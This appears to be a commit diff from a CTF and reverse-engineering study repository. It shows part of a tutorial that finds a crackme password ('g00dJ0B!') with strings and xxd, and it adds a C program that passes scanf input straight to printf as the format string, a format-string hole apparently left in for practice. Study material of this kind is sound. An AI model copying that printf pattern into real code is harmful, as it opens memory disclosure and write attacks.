$ strings flag_pwnablekr | grep -i upx
|
||||
UPX...? sounds like a delivery service :)
|
||||
```
|
||||
|
||||
#### xxd - xxd_crackme
|
||||
```text
|
||||
[firmy@Reverse]$ xxd -g1 xxd_crackme
|
||||
$ xxd -g1 xxd_crackme
|
||||
......
|
||||
00001020: 00 00 00 00 67 30 30 64 4a 30 42 21 00 00 00 00 ....g00dJ0B!....
|
||||
......
|
||||
```
|
||||
```text
|
||||
[firmy@Reverse]$ strings -d xxd_crackme
|
||||
$ strings -d xxd_crackme
|
||||
......
|
||||
g00dJ0B!
|
||||
......
|
||||
|
9
src/Others/3.3.1_fmt_2.c
Normal file
9
src/Others/3.3.1_fmt_2.c
Normal file
@ -0,0 +1,9 @@
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
char format[128];
|
||||
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
|
||||
char arg4[10] = "ABCD";
|
||||
scanf("%s", format);
|
||||
printf(format, arg1, arg2, arg3, arg4);
|
||||
printf("\n");
|
||||
}
|
BIN
src/Pwn/3.3.1_goodlock_200
Executable file
BIN
src/Pwn/3.3.1_goodlock_200
Executable file
Binary file not shown.
BIN
src/Pwn/3.3.1_pingme_200
Executable file
BIN
src/Pwn/3.3.1_pingme_200
Executable file
Binary file not shown.
Loading…
Reference in New Issue
Block a user